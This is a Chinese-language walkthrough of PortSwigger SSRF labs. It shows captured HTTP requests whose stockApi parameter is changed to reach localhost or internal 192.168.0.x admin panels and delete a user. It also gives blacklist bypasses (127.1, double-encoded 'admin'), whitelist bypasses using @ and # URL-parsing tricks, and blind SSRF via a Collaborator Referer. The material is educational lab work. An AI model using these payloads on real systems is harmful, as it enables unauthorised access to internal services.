来自portswigger靶场

常见的SSRF攻击

针对服务器本身的SSRF攻击

根据提示有一个检查库存的功能，然后向服务器端发送一个后端请求，登陆后并删除carlos用户。

随机点开一个商品页面查看库存抓包，可以看到有个stocApi向另一台主机发送了查看库存的请求。我们可以将他改为回环地址，因为回环地址和服务器有着互相信任的原则，就直接访问。（在没有任何安全保护的机制下）

POST /product/stock HTTP/2
Host: 0a51008604bdf2e18208744d00af002e.web-security-academy.net
Cookie: session=b08dexoHEiX10nl2GkWJGbIhjJGSfUZ8
Content-Length: 107
Sec-Ch-Ua: "-Not.A/Brand";v="8", "Chromium";v="102"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0a51008604bdf2e18208744d00af002e.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a51008604bdf2e18208744d00af002e.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1

改包，成功进去后台。但是还要进行用户删除。如果直接点击delete 会提示 仅当以管理员身份登录或从环回请求时，管理界面才可用。

可以按f12 找到delete这个链接的请求拼接到回环请求地址后面。

POST /product/stock HTTP/2
Host: 0a51008604bdf2e18208744d00af002e.web-security-academy.net
Cookie: session=b08dexoHEiX10nl2GkWJGbIhjJGSfUZ8
Content-Length: 54
Sec-Ch-Ua: "-Not.A/Brand";v="8", "Chromium";v="102"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0a51008604bdf2e18208744d00af002e.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a51008604bdf2e18208744d00af002e.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

stockApi=http://localhost/admin/delete?username=carlos

成功过关

针对另一个后端系统的SSRF漏洞

根据提示有一个检查库存的功能，在192.168.0.x上的8080端口有一个管理界面。并删除carlos用户

向192.168.0.1发送了一个后端请求响应是400说明这个ip地址上不存在后端界面，只能使用爆破

将192.168.0.1的1设置为变量有效载荷设置为数字从1到255进行爆破。from、to和step框中分别输入 1、255 和 1

找到状态码为200的，查看后为后台地址。

进行用户删除

POST /product/stock HTTP/2
Host: 0a14001f0452f22d82939223007a0089.web-security-academy.net
Cookie: session=d3hAdBrTOPk7M4uqCXKW9a81vDfNcTUA
Content-Length: 68
Sec-Ch-Ua: "-Not.A/Brand";v="8", "Chromium";v="102"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0a14001f0452f22d82939223007a0089.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a14001f0452f22d82939223007a0089.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

stockApi=http://192.168.0.50:8080/admin/admin/delete?username=carlos

黑名单机制绕过

某些应用程序会阻止包含主机名（如127.0.0.1和localhost）或敏感 URL 如 输入/admin。在这种情况下，您通常可以使用各种技术来绕过过滤器：

1.使用127.0.0.1的替代IP表示，例如2130706433、017700000001或127.1。

2.注册一个你自己的域名，它将解析为127.0.0.1。为此，你可以使用spoofed.burpcollaborator.net。

3.使用URL编码或大小写变化来混淆被阻止的字符串。

4.提供一个由你控制的URL，并将其重定向到目标URL。尝试使用不同的重定向代码，以及目标URL的不同协议。例如，在重定向期间将http:切换为https:已被证明可以绕过某些反SSRF的过滤。

根据提示发现和第一个靶场没什么区别就多了一个防御机制

如用回环地址发送会被服务器阻止访问

可以使用127.1。 使用ping 命名ping127.1 发现是可以ping 通的

构造如下数据包访问后端，最后还是无法访问，说明admin检测为敏感字符。使用双URL编码绕过。

POST /product/stock HTTP/2
Host: 0aac002404903276808bc60f00690075.web-security-academy.net
Cookie: session=5xQFfZs0FT0PXhIPqnZw0bIGVGnkIp9K
Content-Length: 28
Sec-Ch-Ua: "-Not.A/Brand";v="8", "Chromium";v="102"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0aac002404903276808bc60f00690075.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aac002404903276808bc60f00690075.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

stockApi=http://127..1/admin

把a进行%2561 . %25 代表 % 61表示为a

POST /product/stock HTTP/2
Host: 0aac002404903276808bc60f00690075.web-security-academy.net
Cookie: session=5xQFfZs0FT0PXhIPqnZw0bIGVGnkIp9K
Content-Length: 28
Sec-Ch-Ua: "-Not.A/Brand";v="8", "Chromium";v="102"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0aac002404903276808bc60f00690075.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aac002404903276808bc60f00690075.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

stockApi=http://127.1/%2561dmin

发现成功了

才次将删除用户名请求拼接即可

白名单机制绕过

和黑名单相比，白名单难度更大一些。

一些应用程序只允许输入与白名单中的值相匹配、以某些值开头或包含某些值。在这种情况下，有时可以通过利用URL解析中的一致性来绕过过滤。

URL规范包含了很多在对URL进行自定义的解析和验证时容易被忽略的特性：

1.你可以在主机名之前使用@字符将凭证嵌入URL中。例如：

​ https://expected-host:fakepassword@evil-host （在URL中将凭证嵌入主机名之前使用@字符是一种URL传递凭证的方式。然而，这种方式不是推荐的安全做法 列如用户名是admin 密码是 jion 那么可以写成 https://admin:jion@evil-host）

2.你可以使用#字符来表示URL片段。例如：

​ https://evil-host#expected-host

3.你可以利用DNS命名层次结构，将所需输入放入由你控制的完全限定域名中。例如：

​ https://expected-host.evil-host

4.你可以对字符进行URL编码以混淆URL解析代码。如果实现过滤的代码和执行后端HTTP请求的代码处理URL编码字符的方式不同，那么这种方法尤其有用。请注意，你也可以尝试对字符进行双重编码；一些服务器会对收到的输入进行递归URL解码，这可能会导致进一步的差异。

5.你可以将这些技术结合起来使用。

靶场提示和上面一样，先进行抓包和之前一样使用内网地址访问。提示地址必须是“stock.weliketoshop.net”。

结合上面的方法插入@ 字符 这一步是为了测试URL解析器是否支持嵌入凭据。在URL中嵌入凭据是一种传递用户凭证的方式。

虽然提示无法连接到服务器，但说明了支持用户凭证的插入

接着插入#测试应用程序是否正确地处理URL中的特殊字符。

进行双重URL编码，构造http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

  • http://localhost:80%2523: 这部分是目标服务器的主机和端口信息。在这里，localhost代表本地主机，80是端口号，%2523代表URL编码的#字符。URL编码是为了绕过可能存在的安全防御，尝试将#字符嵌入URL中。

  • @stock.weliketoshop.net: 这部分是在URL中嵌入的用户名，通过在@字符后面添加用户名，尝试传递凭据给目标应用程序。

  • /admin/delete?username=carlos: 这部分是目标应用程序的删除用户的端点和查询参数。通过在查询参数中添加username=carlos，试图删除用户名为carlos的用户。

    POST /product/stock HTTP/2
    Host: 0a5e00ad0457082880384ecd004c0018.web-security-academy.net
    Cookie: session=Mv9GZlMT43bjVrp72epQMq62RzTzfvDc
    Content-Length: 52
    Sec-Ch-Ua: "-Not.A/Brand";v="8", "Chromium";v="102"
    Sec-Ch-Ua-Mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
    Sec-Ch-Ua-Platform: "Windows"
    Content-Type: application/x-www-form-urlencoded
    Accept: */*
    Origin: https://0a5e00ad0457082880384ecd004c0018.web-security-academy.net
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: https://0a5e00ad0457082880384ecd004c0018.web-security-academy.net/product?productId=1
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9

    stockApi=http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

SSRF盲漏洞

有时候ssrf存在,但是你无法查看后端的响应。只能借助OAST（把响应的内容返回到这个上面），在burp自带了Burp Collaborator。

打开如下，点击cpoy to clipboard

粘贴到Referer标头，发送

GET /product?productId=1 HTTP/2
Host: 0a7900f003d4c7e584e1820700d1000a.web-security-academy.net
Cookie: session=yY6nmZrMwG7giR1hj8V2P5YaECL3iosP
Sec-Ch-Ua: "-Not.A/Brand";v="8", "Chromium";v="102"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: uomvimb7mwpybeq4fobjlkyc53btzi.oastify.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9